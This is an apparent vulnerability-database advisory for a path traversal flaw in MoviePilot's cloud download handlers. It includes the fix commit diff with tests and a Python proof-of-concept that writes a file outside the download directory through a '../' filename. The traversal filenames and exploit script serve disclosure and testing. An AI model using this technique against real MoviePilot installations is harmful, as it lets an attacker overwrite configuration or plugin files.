VYPR
High severity8.1NVD Advisory· Published Jun 5, 2026· Updated Jun 8, 2026

CVE-2026-11416

CVE-2026-11416

Description

MoviePilot's cloud download handlers are vulnerable to path traversal, allowing attackers to overwrite arbitrary files.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

MoviePilot's cloud download handlers are vulnerable to path traversal, allowing attackers to overwrite arbitrary files.

Vulnerability

MoviePilot v2, specifically in its AliPan, U115, and Rclone cloud storage download handlers, suffers from a path traversal vulnerability. The application constructs the local destination path by concatenating the configured download directory with a filename obtained directly from remote cloud API metadata without performing basename normalization or path validation. This affects versions including jxxghp/moviepilot:latest [1].

Exploitation

An attacker who controls a filename returned by a remote cloud storage API can include traversal sequences such as ../ within the filename. When the application processes this malicious filename during a download or transfer operation, it will write the downloaded content outside the intended, configured download directory, potentially overwriting critical files [1].

Impact

Successful exploitation allows an attacker to write arbitrary files to any location reachable by the application process. This could lead to the overwriting of sensitive files, including configuration files or plugin files, potentially resulting in a full compromise of the application's integrity or the underlying system [1].

Mitigation

A fix for this vulnerability was released in commit a0b3800f6bf4857bf4f889a63d44350eb8380f28 [2]. Users should update to a patched version of MoviePilot. No specific version number for the fix is provided, but the commit is available on the main repository [3].

AI Insight generated on Jun 8, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

2

Patches

1
a0b3800f6bf4

fix: prevent cloud storage download path traversal

https://github.com/jxxghp/moviepilotjxxghpJun 5, 2026via nvd-ref
6 files changed · +275 5
  • app/modules/filemanager/storages/alipan.py+3 1 modified
    @@ -741,7 +741,9 @@ def download(self, fileitem: schemas.FileItem, path: Path = None) -> Optional[Pa
                 logger.error(f"【阿里云盘】下载链接为空: {fileitem.name}")
                 return None
     
    -        local_path = (path or settings.TEMP_PATH) / fileitem.name
    +        local_path = self._build_download_path(fileitem, path or settings.TEMP_PATH)
    +        if not local_path:
    +            return None
     
             # 获取文件大小
             file_size = fileitem.size
    
  • app/modules/filemanager/storages/__init__.py+33 1 modified
    @@ -1,5 +1,5 @@
     from abc import ABCMeta, abstractmethod
    -from pathlib import Path
    +from pathlib import Path, PurePosixPath
     from typing import Optional, List, Dict, Tuple, Callable, Union
     
     from tqdm import tqdm
    @@ -105,6 +105,38 @@ def reset_config(self):
             self.storagehelper.reset_storage(self.schema.value)
             self.init_storage()
     
    +    @staticmethod
    +    def _safe_download_name(name: Optional[str]) -> Optional[str]:
    +        """
    +        提取可安全落盘的文件名。
    +        """
    +        if not name:
    +            return None
    +
    +        safe_name = PurePosixPath(str(name).replace("\\", "/")).name
    +        if safe_name in ("", ".", ".."):
    +            return None
    +        return safe_name
    +
    +    def _build_download_path(
    +        self, fileitem: schemas.FileItem, path: Path
    +    ) -> Optional[Path]:
    +        """
    +        构造本地下载路径,避免远端文件名携带目录片段时越过目标目录。
    +        """
    +        safe_name = self._safe_download_name(fileitem.name)
    +        if not safe_name:
    +            logger.error(f"【存储】下载文件名无效:{fileitem.name}")
    +            return None
    +
    +        local_path = path / safe_name
    +        try:
    +            local_path.resolve().relative_to(path.resolve())
    +        except ValueError:
    +            logger.error(f"【存储】下载路径越界:{fileitem.name} -> {local_path}")
    +            return None
    +        return local_path
    +
         @abstractmethod
         def check(self) -> bool:
             """
    
  • app/modules/filemanager/storages/rclone.py+3 1 modified
    @@ -340,7 +340,9 @@ def download(self, fileitem: schemas.FileItem, path: Path = None) -> Optional[Pa
             """
             带实时进度显示的下载
             """
    -        local_path = (path or settings.TEMP_PATH) / fileitem.name
    +        local_path = self._build_download_path(fileitem, path or settings.TEMP_PATH)
    +        if not local_path:
    +            return None
             
             # 初始化进度条
             logger.info(f"【rclone】开始下载: {fileitem.name} -> {local_path}")
    
  • app/modules/filemanager/storages/smb.py+3 1 modified
    @@ -511,7 +511,9 @@ def download(self, fileitem: schemas.FileItem, path: Path = None) -> Optional[Pa
             """
             带实时进度显示的下载
             """
    -        local_path = (path or settings.TEMP_PATH) / fileitem.name
    +        local_path = self._build_download_path(fileitem, path or settings.TEMP_PATH)
    +        if not local_path:
    +            return None
             smb_path = self._normalize_path(fileitem.path)
             try:
                 self._check_connection()
    
  • app/modules/filemanager/storages/u115.py+3 1 modified
    @@ -830,7 +830,9 @@ def download(self, fileitem: schemas.FileItem, path: Path = None) -> Optional[Pa
                 logger.error(f"【115】下载链接为空: {fileitem.name}")
                 return None
     
    -        local_path = (path or settings.TEMP_PATH) / fileitem.name
    +        local_path = self._build_download_path(fileitem, path or settings.TEMP_PATH)
    +        if not local_path:
    +            return None
     
             # 获取文件大小
             file_size = detail.size
    
  • tests/test_storage_download_path.py+230 0 added
    @@ -0,0 +1,230 @@
    +from pathlib import Path
    +from typing import Iterator, Union
    +from unittest.mock import PropertyMock, patch
    +
    +import pytest
    +
    +from app import schemas
    +from app.modules.filemanager.storages.alipan import AliPan
    +from app.modules.filemanager.storages.rclone import Rclone
    +from app.modules.filemanager.storages.u115 import U115Pan
    +
    +
    +PAYLOAD = b"safe-download\n"
    +
    +
    +def _noop_progress(_percent: Union[int, float]) -> None:
    +    """忽略测试中的进度更新。"""
    +    return None
    +
    +
    +class _FakeAliPanStream:
    +    """模拟阿里云盘下载流。"""
    +
    +    def __init__(self, payload: bytes) -> None:
    +        self._payload = payload
    +
    +    def raise_for_status(self) -> None:
    +        """模拟响应状态检查。"""
    +        return None
    +
    +    def iter_content(self, chunk_size: int) -> Iterator[bytes]:
    +        """返回下载内容分块。"""
    +        yield self._payload
    +
    +    def __enter__(self) -> "_FakeAliPanStream":
    +        """进入上下文。"""
    +        return self
    +
    +    def __exit__(self, *args: object) -> None:
    +        """退出上下文。"""
    +        return None
    +
    +
    +class _FakeU115Stream:
    +    """模拟 115 下载流。"""
    +
    +    def __init__(self, payload: bytes) -> None:
    +        self._payload = payload
    +
    +    def raise_for_status(self) -> None:
    +        """模拟响应状态检查。"""
    +        return None
    +
    +    def iter_bytes(self, chunk_size: int) -> Iterator[bytes]:
    +        """返回下载内容分块。"""
    +        yield self._payload
    +
    +    def close(self) -> None:
    +        """模拟关闭响应流。"""
    +        return None
    +
    +    def __enter__(self) -> "_FakeU115Stream":
    +        """进入上下文。"""
    +        return self
    +
    +    def __exit__(self, *args: object) -> None:
    +        """退出上下文。"""
    +        return None
    +
    +
    +class _FakeU115Session:
    +    """模拟 115 HTTP 会话。"""
    +
    +    def __init__(self, payload: bytes) -> None:
    +        self._payload = payload
    +
    +    def stream(self, method: str, url: str) -> _FakeU115Stream:
    +        """返回伪造的下载流。"""
    +        return _FakeU115Stream(self._payload)
    +
    +
    +class _FakeRcloneProcess:
    +    """模拟 rclone 子进程。"""
    +
    +    stdout: list[str] = []
    +
    +    def wait(self) -> int:
    +        """返回成功退出码。"""
    +        return 0
    +
    +
    +@pytest.mark.parametrize(
    +    ("name", "expected"),
    +    [
    +        ("../proof.txt", "proof.txt"),
    +        ("..\\proof.txt", "proof.txt"),
    +        ("/tmp/proof.txt", "proof.txt"),
    +    ],
    +)
    +def test_build_download_path_strips_remote_directory_segments(
    +    tmp_path: Path, name: str, expected: str
    +) -> None:
    +    """本地下载路径应剥离远端文件名中的目录片段。"""
    +    storage = Rclone.__new__(Rclone)
    +    fileitem = schemas.FileItem(path=f"/remote/{expected}", name=name)
    +
    +    local_path = storage._build_download_path(fileitem, tmp_path)
    +
    +    assert local_path == tmp_path / expected
    +    assert local_path.resolve().relative_to(tmp_path.resolve()) == Path(expected)
    +
    +
    +@pytest.mark.parametrize("name", ["", ".", "..", "subdir/.."])
    +def test_build_download_path_rejects_unsafe_filename(
    +    tmp_path: Path, name: str
    +) -> None:
    +    """本地下载路径应拒绝无法安全落盘的文件名。"""
    +    storage = Rclone.__new__(Rclone)
    +    fileitem = schemas.FileItem(path="/remote/proof.txt", name=name)
    +
    +    assert storage._build_download_path(fileitem, tmp_path) is None
    +
    +
    +def test_alipan_download_writes_sanitized_filename(tmp_path: Path) -> None:
    +    """阿里云盘下载应将路径穿越文件名写入目标目录内。"""
    +    alipan = AliPan.__new__(AliPan)
    +    alipan.chunk_size = 8192
    +    fileitem = schemas.FileItem(
    +        storage="alipan",
    +        type="file",
    +        path="/remote/proof.txt",
    +        name="../proof.txt",
    +        size=len(PAYLOAD),
    +        fileid="file-id",
    +        drive_id="drive-id",
    +    )
    +
    +    with (
    +        patch.object(
    +            alipan,
    +            "_request_api",
    +            return_value={"url": "https://example.invalid/proof.txt"},
    +        ),
    +        patch.object(AliPan, "access_token", new_callable=PropertyMock, return_value=None),
    +        patch(
    +            "app.modules.filemanager.storages.alipan.transfer_process",
    +            return_value=_noop_progress,
    +        ),
    +        patch(
    +            "app.modules.filemanager.storages.alipan.global_vars.is_transfer_stopped",
    +            return_value=False,
    +        ),
    +        patch("app.modules.filemanager.storages.alipan.RequestUtils") as request_utils,
    +    ):
    +        request_utils.return_value.get_stream.return_value = _FakeAliPanStream(PAYLOAD)
    +        result = alipan.download(fileitem, path=tmp_path)
    +
    +    expected_path = tmp_path / "proof.txt"
    +    assert result == expected_path
    +    assert expected_path.read_bytes() == PAYLOAD
    +    assert not (tmp_path.parent / "proof.txt").exists()
    +
    +
    +def test_u115_download_writes_sanitized_filename(tmp_path: Path) -> None:
    +    """115 下载应将路径穿越文件名写入目标目录内。"""
    +    u115 = U115Pan.__new__(U115Pan)
    +    u115.chunk_size = 8192
    +    u115.session = _FakeU115Session(PAYLOAD)
    +    detail = schemas.FileItem(size=len(PAYLOAD), pickcode="pick-code")
    +    fileitem = schemas.FileItem(
    +        storage="u115",
    +        type="file",
    +        path="/remote/proof.txt",
    +        name="../proof.txt",
    +        size=len(PAYLOAD),
    +    )
    +
    +    with (
    +        patch.object(u115, "get_item", return_value=detail),
    +        patch.object(
    +            u115,
    +            "_request_api",
    +            return_value={"file-id": {"url": {"url": "https://example.invalid/proof.txt"}}},
    +        ),
    +        patch(
    +            "app.modules.filemanager.storages.u115.transfer_process",
    +            return_value=_noop_progress,
    +        ),
    +        patch(
    +            "app.modules.filemanager.storages.u115.global_vars.is_transfer_stopped",
    +            return_value=False,
    +        ),
    +    ):
    +        result = u115.download(fileitem, path=tmp_path)
    +
    +    expected_path = tmp_path / "proof.txt"
    +    assert result == expected_path
    +    assert expected_path.read_bytes() == PAYLOAD
    +    assert not (tmp_path.parent / "proof.txt").exists()
    +
    +
    +def test_rclone_download_uses_sanitized_target_path(tmp_path: Path) -> None:
    +    """rclone 下载应把清洗后的本地路径传给 copyto。"""
    +    storage = Rclone.__new__(Rclone)
    +    fileitem = schemas.FileItem(
    +        storage="rclone",
    +        type="file",
    +        path="/remote/proof.txt",
    +        name="../proof.txt",
    +        size=len(PAYLOAD),
    +    )
    +    captured_cmd: dict[str, list[str]] = {}
    +
    +    def fake_popen(cmd: list[str], *args: object, **kwargs: object) -> _FakeRcloneProcess:
    +        captured_cmd["cmd"] = cmd
    +        return _FakeRcloneProcess()
    +
    +    with (
    +        patch(
    +            "app.modules.filemanager.storages.rclone.transfer_process",
    +            return_value=_noop_progress,
    +        ),
    +        patch("app.modules.filemanager.storages.rclone.subprocess.Popen", side_effect=fake_popen),
    +    ):
    +        result = storage.download(fileitem, path=tmp_path)
    +
    +    expected_path = tmp_path / "proof.txt"
    +    assert result == expected_path
    +    assert captured_cmd["cmd"][-1] == str(expected_path)
    +    assert expected_path.resolve().relative_to(tmp_path.resolve()) == Path("proof.txt")
    

Vulnerability mechanics

Root cause

"The local destination path is constructed by concatenating the configured download directory with a filename taken directly from remote cloud API metadata without basename normalization or path validation."

Attack vector

An attacker must control a filename returned by a remote cloud storage API. By including traversal sequences such as ../ in this filename, the attacker can cause downloaded content to be written outside the configured download directory. This can lead to the overwriting of arbitrary files, including sensitive configuration or plugin files, that are reachable by the application process [ref_id=1]. The vulnerability exists in the AliPan, U115, and Rclone download handlers [ref_id=1].

Affected code

The vulnerability lies within the download handlers for AliPan, U115, and Rclone. Specifically, the affected lines are in `app/modules/filemanager/storages/alipan.py:744`, `app/modules/filemanager/storages/u115.py:833`, and `app/modules/filemanager/storages/rclone.py:343`. In these locations, the `fileitem.name` is directly concatenated into the `local_path` without proper sanitization [ref_id=1].

What the fix does

The suggested fix involves sanitizing the filename before it is used in path construction. This can be achieved by using `Path(fileitem.name).name` to strip any directory components from the filename, ensuring that it is treated as a simple file name. Alternatively, the sanitization can be performed earlier in the process, during the construction of the `FileItem` object, by using `os.path.basename()` on the raw name obtained from the cloud API response [ref_id=1].

Preconditions

  • inputThe attacker must be able to control a filename returned by a remote cloud storage API, potentially by uploading a specially crafted file to a cloud storage service that MoviePilot integrates with.
  • configThe MoviePilot application must be configured to use one of the affected cloud storage handlers (AliPan, U115, or Rclone).

Reproduction

```python """ MoviePilot v2 (jxxghp/MoviePilot) — Path Traversal in Cloud Storage Download Sink: alipan.py:744 local_path = (path or settings.TEMP_PATH) / fileitem.name u115.py:833 (same) rclone.py:343 (same) Entry: AliPan.download() / U115.download() / Rclone.download() fileitem.name populated from cloud API response without basename() CWE-22

Prereq: docker pull jxxghp/moviepilot:latest """

import subprocess import sys import textwrap

DOCKER_IMAGE = "jxxghp/moviepilot:latest"

EXPLOIT_SCRIPT = textwrap.dedent(r""" import os import sys import shutil import tempfile from pathlib import Path from unittest.mock import MagicMock, patch, PropertyMock from app.modules.filemanager.storages.alipan import AliPan from app.schemas.file import FileItem

print(f"[*] Imported AliPan from: {AliPan.__module__}") print(f"[*] Source: {sys.modules[AliPan.__module__].__file__}") print() PAYLOAD = b"PWNED-BY-PATH-TRAVERSAL\n" TRAVERSAL_NAME = "../traversal_proof.txt"

WORK_DIR = tempfile.mkdtemp(prefix="moviepilot_poc_") DOWNLOAD_DIR = Path(WORK_DIR) / "downloads" DOWNLOAD_DIR.mkdir()

fileitem = FileItem( storage="alipan", type="file", path=f"/fake_folder/{TRAVERSAL_NAME}", name=TRAVERSAL_NAME, basename="traversal_proof", extension=".txt", size=len(PAYLOAD), fileid="fake-file-id", drive_id="fake-drive-id", )

print(f"[*] FileItem.name = {fileitem.name!r}") print(f"[*] Download dir: {DOWNLOAD_DIR}") print()

class FakeStreamResponse: status_code = 200 def raise_for_status(self): pass def iter_content(self, chunk_size=8192): return iter([PAYLOAD]) def close(self): pass def __enter__(self): return self def __exit__(self, *a): pass with patch.object(AliPan, "access_token", new_callable=PropertyMock, return_value="fake-token"): alipan = AliPan.__new__(AliPan) alipan.chunk_size = 8192

with patch.object(alipan, "_request_api", return_value={"url": "http://fake.example/file"}), \ patch("app.modules.filemanager.storages.alipan.transfer_process", return_value=lambda x: None), \ patch("app.modules.filemanager.storages.alipan.global_vars") as mock_gv, \ patch("app.utils.http.RequestUtils.get_stream", return_value=FakeStreamResponse()): mock_gv.is_transfer_stopped = lambda x: False result = alipan.download(fileitem, path=DOWNLOAD_DIR)

print(f"[*] AliPan.download() returned: {result}") print() local_path = DOWNLOAD_DIR / fileitem.name in_download_dir = local_path.resolve().is_relative_to(DOWNLOAD_DIR.resolve())

if local_path.exists() and local_path.read_bytes() == PAYLOAD and not in_download_dir: print(f"[+] FILE WRITTEN OUTSIDE downloads/") print(f" path: {local_path.resolve()}") print(f" content: {local_path.read_bytes()!r}") print(f" inside downloads/: {in_download_dir}") print() print("VULNERABLE") os.remove(local_path) shutil.rmtree(WORK_DIR, ignore_errors=True) sys.exit(0) else: print("[-] NOT CONFIRMED") shutil.rmtree(WORK_DIR, ignore_errors=True) sys.exit(1) """)

result = subprocess.run( ["docker", "run", "--rm", "--entrypoint", "python3", DOCKER_IMAGE, "-c", EXPLOIT_SCRIPT], capture_output=True, text=True, timeout=60, )

sys.stdout.write(result.stdout) if result.returncode != 0 and result.stderr: for line in result.stderr.splitlines(): if any(k in line for k in ("Error", "Traceback", "raise')): sys.stderr.write(f"{line}\n")

sys.exit(result.returncode) ```

Generated on Jun 5, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

2

News mentions

0

No linked articles in our index yet.